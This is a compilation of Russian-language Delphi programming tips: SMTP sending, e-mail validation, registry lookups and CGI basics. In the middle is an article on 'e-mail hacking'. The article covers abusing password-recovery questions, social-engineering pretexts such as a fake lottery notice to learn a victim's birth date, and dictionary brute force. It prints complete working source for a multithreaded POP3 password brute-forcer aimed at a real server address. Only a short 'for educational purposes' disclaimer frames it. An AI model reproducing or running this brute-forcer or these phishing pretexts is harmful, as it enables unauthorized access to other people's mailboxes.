procedure _authSendMail(MailServer,uname,upass,mFrom,mFromName,mToName,Subject:string;mto,mbody:TStringList);
function ConnectServer(mhost:string;mport:integer):integer;
function ConnectServerwin(mhost:string;mport:integer):integer;
function DisConnectServer:integer;
function Stat: string;
function SendCommand(Command: String): string;
function SendData(Command: String): string;
function SendCommandWin(Command: String): string;
function ReadCommand: string;
function encryptB64(s:string):string;

var
  mconnHandle: Integer;
  mFin, mFOut: Textfile;
  EofSock: Boolean;
  mactive: Boolean;
  mSMTPErrCode: Integer;
  mSMTPErrText: string;
  mMemo: TMemo;

implementation

uses
  SysUtils, Sockets, IdBaseComponent,
  IdCoder, IdCoder3to4, IdCoderMIME, IniFiles,Unit1;

var
  mClient: TTcpClient;

procedure _authSendMail(MailServer, uname, upass, mFrom, mFromName,
  mToName, Subject: string; mto, mbody: TStringList);
var
  tmpstr: string;
  cnt: Integer;
  mstrlist: TStrings;
  RecipientCount: Integer;
begin
  if ConnectServerWin(Mailserver, 25) = 250 then
  begin
    Sendcommandwin('AUTH LOGIN ');
    SendcommandWin(encryptB64(uname));
    SendcommandWin(encryptB64(upass));
    SendcommandWin('MAIL FROM: ' + mfrom);
    for cnt := 0 to mto.Count - 1 do
      SendcommandWin('RCPT TO: ' + mto[cnt]);
    Sendcommandwin('DATA');
    SendData('Subject: ' + Subject);
    SendData('From: "' + mFromName + '" <' + mfrom + '>');
    SendData('To: ' + mToName);
    SendData('Mime-Version: 1.0');
    SendData('Content-Type: multipart/related; boundary="Esales-Order";');
    SendData('     type="text/html"');
    SendData('');
    SendData('--Esales-Order');
    SendData('Content-Type: text/html;');
    SendData('        charset="iso-8859-9"');
    SendData('Content-Transfer-Encoding: QUOTED-PRINTABLE');
    SendData('');
    for cnt := 0 to mbody.Count - 1 do
      SendData(mbody[cnt]);
    Senddata('');
    SendData('--Esales-Order--');
    Senddata(' ');
    mSMTPErrText := SendCommand(crlf + '.' + crlf);
    try
      mSMTPErrCode := StrToInt(Copy(mSMTPErrText, 1, 3));
    except
    end;
    SendData('QUIT');
    DisConnectServer;
  end;
end;

function Stat: string;
var
  s: string;
begin
  s := ReadCommand;
  Result := s;
end;

function EchoCommand(Command: string): string;
begin
  SendCommand(Command);
  Result := ReadCommand;
end;

function ReadCommand: string;
var
  tmp: string;
begin
  repeat
    ReadLn(mfin, tmp);
    if Assigned(mmemo) then
      mmemo.Lines.Add(tmp);
  until (Length(tmp) < 4) or (tmp[4] <> '-');
  Result := tmp
end;

function SendData(Command: string): string;
begin
  Writeln(mfout, Command);
end;

function SendCommand(Command: string): string;
begin
  Writeln(mfout, Command);
  Result := stat;
end;

function SendCommandWin(Command: string): string;
begin
  Writeln(mfout, Command + #13);
  Result := stat;
end;

function FillBlank(Source: string; number: Integer): string;
var
  a: Integer;
begin
  Result := '';
  for a := Length(trim(Source)) to number do
    Result := Result + ' ';
end;

function IpToLong(ip: string): Longint;
var
  x, i: Byte;
  ipx: array[0..3] of Byte;
  v: Integer;
begin
  Result := 0;
  Longint(ipx) := 0;
  i := 0;
  for x := 1 to Length(ip) do
    if ip[x] = '.' then
    begin
      Inc(i);
      if i = 4 then Exit;
    end
  else
  begin
    if not (ip[x] in ['0'..'9']) then Exit;
    v := ipx[i] * 10 + Ord(ip[x]) - Ord('0');
    if v > 255 then Exit;
    ipx[i] := v;
  end;
  Result := Longint(ipx);
end;

function HostToLong(AHost: string): Longint;
var
  Host: PHost;
begin
  Result := IpToLong(AHost);
  if Result = 0 then
  begin
    Host := GetHostByName(PChar(AHost));
    if Host <> nil then Result := Longint(Host^.Addr^^);
  end;
end;

function LongToIp(Long: Longint): string;
var
  ipx: array[0..3] of Byte;
  i: Byte;
begin
  Longint(ipx) := long;
  Result       := '';
  for i := 0 to 3 do Result := Result + IntToStr(ipx[i]) + '.';
  SetLength(Result, Length(Result) - 1);
end;

procedure Disconnect(Socket: Integer);
begin
  ShutDown(Socket, 1);
  CloseSocket(Socket);
end;

function CallServer(Server: string; Port: Word): Integer;
var
  SockAddr: TSockAddr;
begin
  Result := socket(Internet, Stream, 0);
  if Result = -1 then Exit;
  FillChar(SockAddr, SizeOf(SockAddr), 0);
  SockAddr.Family := Internet;
  SockAddr.Port := swap(Port);
  SockAddr.Addr := HostToLong(Server);
  if Connect(Result, SockAddr, SizeOf(SockAddr)) <> 0 then
  begin
    Disconnect(Result);
    Result := -1;
  end;
end;

function OutputSock(var F: TTextRec): Integer; far;
begin
  if F.BufPos <> 0 then
  begin
    Send(F.Handle, F.BufPtr^, F.BufPos, 0);
    F.BufPos := 0;
  end;
  Result := 0;
end;

function InputSock(var F: TTextRec): Integer; far;
var
  Size: Longint;
begin
  F.BufEnd := 0;
  F.BufPos := 0;
  Result := 0;
  repeat
    if (IoctlSocket(F.Handle, fIoNbRead, Size) < 0) then
    begin
      EofSock := True;
      Exit;
    end;
  until (Size >= 0);
  F.BufEnd := Recv(F.Handle, F.BufPtr, F.BufSize, 0);
  EofSock  := (F.Bufend = 0);
end;

function CloseSock(var F: TTextRec): Integer; far;
begin
  Disconnect(F.Handle);
  F.Handle := -1;
  Result   := 0;
end;

function OpenSock(var F: TTextRec): Integer; far;
begin
  if F.Mode = fmInput then
  begin
    EofSock := False;
    F.BufPos := 0;
    F.BufEnd := 0;
    F.InOutFunc := @InputSock;
    F.FlushFunc := nil;
  end
  else
  begin
    F.Mode := fmOutput;
    F.InOutFunc := @OutputSock;
    F.FlushFunc := @OutputSock;
  end;
  F.CloseFunc := @CloseSock;
  Result := 0;
end;

procedure AssignCrtSock(Socket:integer; Var Input,Output:TextFile);
 begin
  with TTextRec(Input) do
  begin
    Handle := Socket;
    Mode := fmClosed;
    BufSize := SizeOf(Buffer);
    BufPtr := @Buffer;
    OpenFunc := @OpenSock;
  end;
  with TTextRec(Output) do
  begin
    Handle := Socket;
    Mode := fmClosed;
    BufSize := SizeOf(Buffer);
    BufPtr := @Buffer;
    OpenFunc := @OpenSock;
  end;
  Reset(Input);
  Rewrite(Output);
 end;

function ConnectServer(mhost: string; mport: Integer): Integer;
var
  tmp: string;
begin
  mClient := TTcpClient.Create(nil);
  mClient.RemoteHost := mhost;
  mClient.RemotePort := IntToStr(mport);
  mClient.Connect;
  mconnhandle := callserver(mhost, mport);
  if (mconnHandle<>-1) then
  begin
    AssignCrtSock(mconnHandle, mFin, MFout);
    tmp := stat;
    tmp := SendCommand('HELO bellona.com.tr');
    if Copy(tmp, 1, 3) = '250' then
    begin
      Result := StrToInt(Copy(tmp, 1, 3));
    end;
  end;
end;

function ConnectServerWin(mhost: string; mport: Integer): Integer;
var
  tmp: string;
begin
  mClient := TTcpClient.Create(nil);
  mClient.RemoteHost := mhost;
  mClient.RemotePort := IntToStr(mport);
  mClient.Connect;
  mconnhandle := callserver(mhost, mport);
  if (mconnHandle<>-1) then
  begin
    AssignCrtSock(mconnHandle, mFin, MFout);
    tmp := stat;
    tmp := SendCommandWin('HELO bellona.com.tr');
    if Copy(tmp, 1, 3) = '250' then
    begin
      Result := StrToInt(Copy(tmp, 1, 3));
    end;
  end;
end;

function DisConnectServer: Integer;
begin
  closesocket(mconnhandle);
  mClient.Disconnect;
  mclient.Free;
end;

function encryptB64(s: string): string;
var
  hash1: TIdEncoderMIME;
  p: string;
begin
  if s <> '' then
  begin
    hash1 := TIdEncoderMIME.Create(nil);
    p := hash1.Encode(s);
    hash1.Free;
  end;
  Result := p;
end;

end.

{***************************************************}
{ How to use it}
{***************************************************}

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Memo1: TMemo;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

uses
  SMTP_Connections;

procedure TForm1.Button1Click(Sender: TObject);
var
  mto, mbody: TStringList;
  MailServer, uname, upass, mFrom, mFromName,
  mToName, Subject: string;
begin
  mMemo := Memo1; // to output server feedback
  //..........................
  MailServer := 'mail.xyz.net';
  uname := 'username';
  upass := 'password';
  mFrom :=  'user@xyz.net';
  mFromName := 'forename surname';
  mToName := '';
  Subject := 'Your Subject';
  //..........................
  mto := TStringList.Create;
  mbody := TStringList.Create;
  try
    mto.Add('anybody@xyz.net');
    mbody.Add('Test Mail');
    //Send Mail.................
    _authSendMail(MailServer, uname, upass, mFrom, mFromName, mToName, Subject, mto, mbody);
    //..........................
  finally
    mto.Free;
    mbody.Free;
  end;
end;

end.
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Проверка правильности E-mail адреса

Автор: Udo Nesshoever
Если пользователю Вашего приложения необходимо вводить почтовый адрес, то возникает потребность в проверке адреса на правильнось. Конечно способов сделать это существует множество, но этот, на мой взгляд, самый короткий и доступный для понимания.

Совместимость: Delphi 3.x (или выше)

function IsValidEmail(const Value: string): boolean;
  function CheckAllowed(const s: string): boolean;
  var
    i: integer;
  begin
    Result:= false;
    for i:= 1 to Length(s) do
    begin
      { недопустимый символ в s - значит недопустимый адрес }
      if not (s[i] in ['a'..'z', 'A'..'Z', '0'..'9', '_', '-', '.']) then
        Exit;
    end;
    Result:= true;
  end;
var
  i: integer;
  namePart, serverPart: string;
begin // начало выполнения IsValidEmail
  Result:= false;
  i:= Pos('@', Value);
  if i = 0 then
    Exit;
  namePart:= Copy(Value, 1, i - 1);
  serverPart:= Copy(Value, i + 1, Length(Value));
  // @ не указано имя         имя или сервер не указаны; минимально для сервера. "a.com"
  if (Length(namePart) = 0) or ((Length(serverPart) < 5)) then
    Exit;
  i:= Pos('.', serverPart);
  // должно иметь точку и как минимум три знака от конца
  if (i = 0) or (i > (Length(serverPart) - 2)) then
    Exit;
  Result:= CheckAllowed(namePart) and CheckAllowed(serverPart);
end;
Взято из http://forum.sources.ru


Найти smtp mailserver по умолчанию?

{
  Here is some code I successfully used te determine
  the DEFAULT mailaccount, which is used in
  Outlook Express, to send outgoing mail via SMTP.
}

procedure TForm1.ReadRegistryDefaults;
var
  Registry: TRegistry;
  AccountStr: string;
begin
  Registry := TRegistry.Create;
  try
    Registry.RootKey := hkey_CURRENT_USER;
    if Registry.OpenKey('software\microsoft\internet account manager', False) then  {}
    begin
      AccountStr := Registry.ReadString('default mail account');
      Registry.CloseKey;
      if (AccountStr <> '') then
        if Registry.OpenKey('software\microsoft\internet account manager\accounts\' +
          AccountStr, False) then  {}
        begin
          Edit_Server.Text  := Registry.ReadString('SMTP Server');
          Edit_Account.Text := Registry.ReadString('SMTP Email Address');
          Registry.CloseKey;
        end;
    end;
  finally
    Registry.Free;
  end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как получить имена установленных почтовых клиентов?

{
  Get names of installed Mail-Clients.
}

uses
  Registry;

function GetInstalledMailClients(AList: TStrings): Boolean;
const
  RegClientsRoot = '\SOFTWARE\Clients';
  RegClientsMail = '\Mail';
  RegClientsOpenCmd = '\shell\open\command';
var
  reg: TRegistry;
begin
  Result := True;
  try
    AList.Clear;
    reg := nil;
    reg := TRegistry.Create;
    try
      with reg do
      begin
        CloseKey;
        RootKey := HKEY_LOCAL_MACHINE;
        if OpenKeyReadOnly(RegClientsroot + RegClientsMail) then
          if HasSubKeys then
            GetKeyNames(AList);
      end;
    finally
      if Assigned(reg) then reg.Free;
    end;
  except
    Result := False;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  GetInstalledMailClients(ListBox1.Items);
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Технологии взлома Email

Автор: Danil
WEB-сайт: http://www.danil.dp.ua

Недавно наткнулся на прикольный форум, где собираются кардеры, спамеры и прочее. Почитал. Одна тема продвинула меня на написание этой статьи. Человек написал, что заплатит за взлом мыла. Взломать надо было не соседа Васю Непупкина, а что-то посерьезней. Было несколько отзывов. Первый поинтересовался на каком серваке расположено мыло, хотя e-mail адрес был указан. Без комментариев. Второй, даже не изучив сервак, заподозрил, что при взломе ему ничего не заплатят. Шкура неубитого медведя называется. Третий написал, что он возьмется это сделать за неделю. Дальше рассказывать не буду - уже смешно. Рассмотрим по пунктам весь этот процесс, который у некоторых "особо продвинутых" занимает неделю. Эта статья не будет похожа на описание программы с полем ввода адреса и большой кнопкой "Hack it", хотя я постараюсь сказать на эту тему как можно больше. Есть основные 4 способа взлома мыла.

Отсылка на атакуемое мыло сообщения, содержащего какой-то код, который после своего выполнения, позволит получить пароль или изменить его на нужный. Опять же, если мыло не соседа-собутыльника, а чего-то более серьезного, то письма получают не дырявым аутглюком и не експлорером, а почтовым клиентом с отключенным выполнением скриптов. Плюс еще их просматривают в диспечере сообщений на предмет приатаченных файлов и на серваке стоит брандмауэр, который автоматом переименовывает все прикрепленные выполняемые файлы. Облом. Только засветиться. И ничего конкретно тут пообещать нельзя.
Ошибки web-интерфейса сервиса для работы с почтой. В частности, подмена запросов после авторизации на своем мыле так, чтобы "вплыть" в настройки чужого. Это все уже практически везде пофиксено. Останавливаться на этом не буду.
Взлом самого сервака с почтовым сервисом. Т.е. надо всесторонне изучить сервер, найти на нем дырки, найти бесплатный работающий эксплоит и т.д. и т.п. Дырок может и не быть или соответствующие эксплоиты платны или не выставленны на всеобщее обозрение. Тем более, если ты взломал сервер с серьезным мылом, то нафиг тебе за копейки продавать эту инфу. Если кто-то знает как им распорядиться, то имея сервак "в кармане" ты и сам можешь об этом догадаться. Или можно продавать информацию кусками, по мере ее поступления. В любом случае, обещание по поводу недели на взлом....
Брутфорс. Самый тупой способ. Перебор паролей по словарю или подряд всех символов. Остановимся более подробно на этом способе. Первое, что нужно для этого, это словарь. На этом же форуме я обнаружил еще одно очень веселое объявление о продаже файла, содержащего 360000 паролей. Файл паролей можно взять где угодно. Даже просто пойти и скачать какую-нибудь программу-переводчик.
Теперь немного математики. Рассмотрим такой случай: пароль - не слово, а случайный набор маленьких английских символов. Для того, чтобы подобрать 2-ух буквенный пароль, по теории вероятности, надо 26*26/2=338 раз перебрать пароль. Для трехбуквенного - 26^3/2=8788, для четырехбуквенного - 26^4/2=228488 и т.д.. Тут, конечно, есть варианты. Можно сначала перебирать так: первая буква - гласная, вторая - согласная; первая - согласная, вторая - гласная. Но, если пароль состоит не только из маленьких английских букв, но и из больших, плюс цифры и спец-символы, то большой облом. Одно дело у себя локально на крутом компе подобрать пароль к excel-евскому документу, а другое дело по инету. Итак, мы определились, что прямой перебор не катит. При таком пароле, надо пробовать первые три способа.

Немного о безопасности. Некоторые провайдеры делают мыло так, что получить его можно только выйдя в инет через них. Проверка может быть только на диапазон адресов и есть некоторая возможность для спуфинга, но... В общем, только третий способ. Ломать прова. Взломать его за неделю - это, мягко говоря, несколько опрометчивое высказывание. Или ты уже знаешь как и тогда это происходит за пару часов, или....

Рассмотрим перебор по словарю. Здесь есть несколько вариантов:

Самый быстрый - задействовать свой полный шелл на быстром серваке. Есть несколько "но": если обнаружат, то аккаунт прикроют. Ради призрачной вероятности заработать несколько денег, рисковать полным шеллом - это сильно круто и расточительно. Использовать прокси - тоже не выход. Можно использовать вариант с каким-то уже взломанным серваком, но см.выше. Его терять еще более обидно.
Можно создать web-страницу c поддержкой запуска скриптов и повесить счетчик, который при каждом посещении будет перебирать несколько вариантов. Опять же, пагу могут и закрыть. Все усилия по ее раскрутке может "зачеркнуть" какой-то админ-мудак.
Самый безопасный, но и самый ненадежный способ - накодить спец прогу и занести ее в компьютерный клуб. При работе с инетом, она будет перебирать по чуть-чуть пароли. Потом приходишь раз в ..., и смотришь результаты. Но эту прогу надо еще написать и замаскировать - в этом клубе админы могут полными идиотами и не быть.
Ну и, самый распространенный способ - перебирать со своего компа. Есть целый ряд программ для этого, но все они мне, лично, не нравятся, и в этой статье я буду рассказывать, как написать брутфорсер самому.
На самом деле, иногда, все не так уж и безнадежно. Рассмотрим несколько реальных примеров. Вернее, я оговорился - все примеры выдуманны, все имена изменены, и любые совпадения абсолютно случайны.

Пример 1.

Зеркало. Не люблю я спамеров. Вот интересный случай: прочитал я где-то объяву о том, что представитель этой масти может заплатить за спам лист, вытащенный из какого-то сервера. Мыло его было sexxx@glukr.net. Ломанулся я на http://www.glukr.net и сразу же нажал "Забыл пароль". Служба борьбы с амнезией - очень интересная штука. Человек может указать очень сложный пароль, но правдиво, коротко и просто ответить на вопросы в интересующем нас разделе. Мне высветилось: "Ответьте на вопрос:", "sex", ясен пень - "sex". Опа. Такая приятная табличка "Установите новый пароль". Спамер остался без мыла. Для этого мне не понадобилось ничего, кроме моей любимой оперы и 2 минут времени.

Пример 2.

Идиотизм. Когда-то мне пришло письмо вроде бы от достаточно известной конторы, занимающейся безопасностью. Там было предложение заполнить резюме и выслать его на мыло с уже рассмотренного нами бесплатного, очень популярного, но такого дырявого glukr.net. Резюме было на 3-ех листах с просьбой указать ВСЮ информацию о себе. Я сразу заподозрил неладное. Или кто-то очень хотел получить обо мне всю инфу для каких-то своих "черных" замыслов и не имел ничего общего с этой конторой (что скорее всего), или в этой конторе есть очень умные люди (см. тему примера). На "Забыл пароль" у меня спросили рост. Введя пару значений, я обнаружил временную защиту, т.е. за определенный промежуток времени нельзя было вводить более двух вариантов. Рассудив, что карлик какой-то не будет отвечать на вопрос о росте, я начал со 180. Вводя по чуть-чуть цифры, к утру, я увидел такую родную сердцу табличку. Вместо того, чтобы ввести что-то типа "6 futov 1 дюйм + 2 litra пива", там было цифровое значение. Ничего я менять не стал, а то, вдруг, действительно людей на работу берут, а я потопчусь своими кроссовками рибок 46-ого размера по большому и чистому....

Пример 3.

Социальная инжененрия. На некоторых серваках на вопрос "Забыл пароль" надо указать дату рождения и, например, любимое блюдо. Казалось бы, очень сложно, но.... Надо просто открыть мыло, например, supergirl@mail.ru и послать с него открытку "Поздравляю с днем рождения" и какую-нибудь глупую подпись. Вполне возможно, что он ответит "У меня не сегодня день рождения, а 32 марта". Или послать сообщение "Мы разыгрываем 10000 видов на жительство у америкосов и Вас компьютер выбрал случайно. Укажите в обратном письме Ваше образование и дату рождения и ...". В общем, на первый взгляд, вполне безобидно. Вариантов много. Узнав его дату рождения, перебрать любимое блюдо - можно, но т.к. практически у всех есть временная защита, то тут, скорее всего, если сразу не угадал, тоже облом. Также может быть указано имя матери. Словарь из имен можно составить самому или взять на серваке с гороскопами по имени и прочей лабудой. Тут главное понять, что женских имен не так уж и много, и указывают их обычно не как "лена" или "оля", а "Елена" или "Ольга". Также следует учесть, что человеку иногда облом переключать раскладку и имя может быть в английской транскрипции.

Пример 4.

Глобальный поиск. Включить поиск по атакуемому мылу. Если это мыло присутствует на какой-нибудь доске объявлений или рассылке, то написать ему соответствующее сообщение (см. пример 3), исходя из полученных сведений. Также пароль в какой-нибудь форум или чат получить иногда гораздо легче, и в большинстве случаев он от пароля на мыло не отличается.

Пример 5.

Навороты web-сайта. На сервере одного прова обнаружил голосование, с просмотром результатов. Результаты вызывались через url, в котором указывался один из параметров - куда после этого перейти. С соответствующими правами. Гении программирования, мля. Там еще был дополнительный web-интерфейс для работы с почтой. В корень выйти не получилось, но сходив к ним, потратив несколько баксов на диалап и мыло, просканировав сервак на предмет установленного почтового сервиса и поэксперементировав с купленным мылом, я понял, почему некоторые жаловались на то, что по 5-ти часовой карточке у них больше 2-ух часов не работаешь и кто-то периодически читает у этого прова все мыло. Но это тема отдельного разговора. Кстати, нужный мне пароль оказался "qwerty". Обычно, первое слово в большинстве словарей.

Рассмотрим способы защиты службы борьбы с амнезией. Первый - временная защита (кстати, на mail.xakep.ru я ее не обнаружил, хотя может не там смотрел). Второе - указывать любимое блюдо не "Пиво" и рост - не "215". Таким образом, в большинстве случаев способ "Забыл пароль" не действует. Теперь рассмотрим вариант, при котором человек не должен догадываться, что его мыло читают, т.е. даже подбор "Забыл пароль" не катит. Перейдем непосредственно к исследованиям и кодингу. Я не буду рассматривать написание брутфорса на перл для работы на удаленном сервере - это есть на http://www.xakep.ru. Рассмотрим написание брутфорса на Delphi, с использованием функций WinAPI для работы с сокетом. Переписать на перл, си или асм потом проблем нет никаких - оно все отличается только синтаксисом вызова функций. Также потребуется какой-нибудь telnet-клиент, port-mapper или tcp-logger для исследования ответов сервера.

POP3. 110 порт. Интересующие нас команды - "user" и "pass". Предположим, что надо подобрать пароль на freemail.ukr.net у пользователя dndanil (это мой - специально для экспериментов). Ломанемся по телнету на freemail.ukr.net:110 и введем "user dndanil". Потом "pass password". Посмотрим ответы. Если после оценки скорости желание не отпало, то надо написать прогу, которая будет коннектится к серваку и перебирать пароли с отслеживанием ошибок. Прогу будем писать с учетом продвинутых технологий при создании различных сканеров - многопоточность, т.е. перебирать пароли будут сразу несколько процессов. Так, вроде, быстрей. Для этого надо ввести класс, описывающий наш процесс. Кол-во одновременно запущенных процессов зависит от железа и скорости соединения с инетом. Для перебора будем использовать файл с паролями, который загрузим в TStringList (список строк). Итак, создадим для наглядности окно и влепим туда кнопку "Hack it" :-) и ProgressBar с Win32. Вот исходники с комментариями брутфорсера для POP3-сервера:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ComCtrls, StdCtrls, WinSock;

type
  TForm1 = class(TForm)
    Button1: TButton;
    ProgressBar1: TProgressBar;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
end;

// Описание процесса
type
  TScan = class(TThread)
    sock2 : TSocket;
    addr:TSockAddrIn;
    WSAData : TWSAData;
  private
    procedure CScan;
  protected
    procedure Execute; override;
end;

var
  Form1: TForm1;
  // Массив процессов
  Sock : array[1..255] of TScan;
  Rez : boolean = false;
  // Кол-во запущенных процессов на данный момент
  I0 : Integer;
  // Номер текущего пароля
  I : Integer;
  // TStringList с паролями
  PassList : TStringList;

const
  FilePass = 'pass.txt'; // Файл с паролями в каталоге проги
  ProcCount = 10; // кол-во процессов
  POP3serv = '212.42.64.13'; // POP3 server (отпингованый)
  User = 'dndanil';

implementation
{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
  PassList:=TStringList.Create;
end;

// Запуск / Остановка
procedure TForm1.Button1Click(Sender: TObject);
begin
  if Rez then
    Rez:=false
  else
  begin
    // Открытие и загрузка файла паролей
    try
      PassList.Clear;
      PassList.LoadFromFile(FilePass);
    except
    end;
    if PassList.Count<=0 then
    begin
      Application.MessageBox('Файл паролей не найден или его нельзя использовать', 'ERROR', mb_Ok);
      exit;
    end;
    Form1.Button1.Caption:='Stop';
    Form1.ProgressBar1.Position:=0;
    // Кол-во паролей
    Form1.ProgressBar1.Max:=PassList.Count;
    Application.ProcessMessages;
    I:=0;
    I0:=1;
    Rez:=true;
    // Запустить все процессы
    while true do
    begin
      Sock[I0]:=TScan.Create(false);
      inc(I0); // Подсчитать их кол-во
      //Выйти если больше указанного, или стоп, или подобрали
      if (I0>ProcCount)or(not Rez) then
        break;
    end;
  end;
end;

// Проца инициализации процесса
procedure TScan.Execute;
begin
  try
    // Запуск цикла
    while true do
    begin
      CScan;
      //Выход, если подобрали или закончился словарь
      if (not Rez)or(I>=PassList.Count) then
        break;
    end;
  except
  end;
  dec(I0);
  try
    Terminate;
  except
  end;
  //Если все процессы прерваны -
  if I0<=1 then
  begin
    Form1.Button1.Caption:='Hack it';
    Rez:=false;
    Application.ProcessMessages;
  end;
end;

//Проца сканирования
procedure TScan.CScan;
var
  iaddr, x, I2 : Integer;
  Buf : array [1..255] of Char;

  //Отправка
  procedure sender(str:string);
  var
    I1: integer;
  begin
    for I1:=1 to Length(str) do
      if send(sock2, str[I1] , 1, 0) = SOCKET_ERROR then
        exit;
  end;

begin
  I2:=I;
  inc(I);
  Form1.ProgressBar1.Position:=I2+1;
  Application.ProcessMessages;
  try
    // Инициализация сокета
    WSAStartUp(257, WSAData);
    sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
    if sock2=INVALID_SOCKET then
    begin
      try
        closesocket(sock2);
      except
      end;
      exit;
    end;
    //Адрес сервака
    iaddr := inet_addr(PChar(POP3serv));
    if iaddr <=0 then
    begin
      try
        closesocket(sock2);
      except
      end;
      exit;
    end;
    addr.sin_family := AF_INET;
    // Порт сервака
    addr.sin_port := htons(110);
    addr.sin_addr.S_addr:=iaddr;
    if (connect(sock2, addr, sizeof(addr))) >0 then
    begin
      try
        closesocket(sock2);
      except
      end;
      exit;
    end;
    //Получение при соединении
    x:=recv(sock2,buf,sizeof(Buf),0);
    if (x=SOCKET_ERROR)or(buf[1]<>'+') then
      exit;
    //"user user"
    sender('user '+User+#13+#10);
    x:=recv(sock2,buf,sizeof(Buf),0);
    if (x=SOCKET_ERROR)or(buf[1]<>'+') then
      exit;
    //"pass password"
    sender('pass '+PassList.Strings[I2]+#13+#10);
    x:=recv(sock2,buf,sizeof(Buf),0);
    //Если подобралось
    if (x>3)and(buf[1]='+') then
    begin
      Rez:=false;
      Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok);
      exit;
    end;
    try
      closesocket(sock2);
    except
    end;
  except
  end;
end;

end.

Адрес сервака перед использованием надо отпинговать (ping -a freemail.ukr.net) и ввести IP. Кол-во процессов подбирается исходя из железа. Это рабочий скелет брутфорсера, хоть и написан за пару часов. При проверке, я создал файл-словарь, размером 1000 паролей и 666-ым шел мой настоящий пароль. При одном процессе я задолбался ждать. При кол-ве процессов 255, уже через 15 минут (на диалап), мне высветился мой пароль. На шелле, аналогичная конструкция на перл, заняла примерно столько же времени. Но это на 666-ом пароле, а на 1000000-ом я бы ждал очень долго. Поэтому этот способ обладает очень призрачными шансами что-либо подобрать и годится только для очень простых паролей.

P.S. В следующей статье я напишу, как исследовать web-интерфейс для работы с почтой, написать брутфорс, подбирающий на нем пароли (кстати, будет рассмотрен mail.xakep.ru), и подведу общие итоги.

P.P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.

Взято с http://delphiworld.narod.ru


Создание Web приложений

Cодержание раздела:

Создание CGI приложений
· Простейший CGI на Дельфи
· Delphi и CGI
· Программирование CGI в Delphi и Kylix (статья)
· Создание Web-приложений
· Простейшая авторизация в ISAPI/CGI приложениях
· Как отправить бинарные данные из CGI приложения?
· Создание CGI счётчика в Delphi 5

Понимание многопоточности в VCL для веб-серверных ISAPI-расширений
Создание Active Server Page (ASP) приложений (Статья)
Кириллица в параметрах CGI-запроса
How to debug an Apache Shared Module
How to turn off ISAPI DLL caching on Windows 2000 and IIS5
Корпоративное Web приложение New!

См. также статьи в других разделах:
ISAPI and CGI Applications get Errors Initializing the BDE.
Не могу подсоединиться к IB из под web-сервера IIS, Netscape, Baikonur и др.
Программирование Интернет приложений в Borland Kylix. Часть I
Программирование Интернет приложений в Borland Kylix. Часть II
Using a DSO on Apache 2.0.43, created with Kylix 3


Создание CGI приложений

Cодержание раздела:

Простейший CGI на Дельфи
Delphi и CGI

Программирование CGI в Delphi и Kylix (статья)
· Передача параметров
· Переадресация
· Вывод изображений
· Защита паролем
· Куки (Cookies)
· Работа с Базами Данных
· Частые Вопросы и Ответы

Создание Web-приложений
Простейшая авторизация в ISAPI/CGI приложениях
Как отправить бинарные данные из CGI приложения?
Создание CGI счётчика в Delphi 5
Моё CGI-приложение при обращении к нему ничего не возвращает New!


Простейший CGI на Дельфи

program helloworld;
{$E cgi}
begin
  Write('Content type: Text/HTML' + #13#10#13#10);
  Write('Hello World!');
end.

Всё что этот код делает это выводит в поток вывода 'Hello World!'. Открываем новый проэкт. Удаляем все из DPR файла, заполняем приведенным кодом. Компиллируем. Полученный файл helloworld.cgi ставим в папку cgi-bin IIS сервера, убеждаемся что в настройках сервера разрешено исполнение серверных скриптов и сам сервер включен, далее открываем браузер и вводим адрес, у меня это:
httр://vitaly/cgi-bin/helloworld.cgi
любуемся надписью "Hello World!" в браузере.

А вот чуть более сложный пример - вывод потока (в данном случае если поток содержит картинку) в браузер:

procedure OutputStream(m: TStream);
var h: Integer;
  j: cardinal;
begin
  h := GetStdHandle(STD_OUTPUT_HANDLE);
  try
    WriteFile(h, 'Content type: image/x-MS-bmp' + #13#10#13#10, 32, j, nil);
    WriteFile(h, m.memory^, m.size, j, nil);
  finally
    CloseHandle(h);
  end;
end;

Теперь сделанный cgi можно использовать в качестве картинки.

Естественно, что работать такой CGI ,будет только в среде Windows (для работы под Linux надо подумать над компилляцией в среде Kilix)

Ещё типы контента:

text/html
text/plain
text/richtext

image/gif
image/jpeg
image/x-MS-bmp
image/x-xpixmap

video/mpeg
video/quicktime

audio/x-wav
audio/basic (Sun *.au audio files)
audio/mp3
audio/mpeg
audio/x-mp3
audio/x-mpeg
audio/m3u
audio/x-m3u
audio/x-aiff (aif aiff aifc)

application/msword
application/octet-stream (для exe)
application/x-zip
application/mac-binhex40 (hqx)
application/pdf
application/rtf
application/x-latex
application/zip
application/rss+xml

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Delphi и CGI

В последнее время в связи с растущей популярностью сети Интернет все чаше становится необходимость разработки приложений, которые бы могли работать непосредственно в www среде. Т.е. такие, которые бы полностью бы интегрировались в уже привычные нам веб-странички. По сути дела работа с таким приложением происходит полностью через любимый браузер пользователя и ничем не отличается от серфинга по страничкам. Ввод данных равно как и выдача обработанных результатов происходит через html-формы веб-страничек. Обработка же данных происходит на веб-сервере. Таким образом, мы получим самое что ни есть клиент-серверное приложение в его самом классическом понимании.
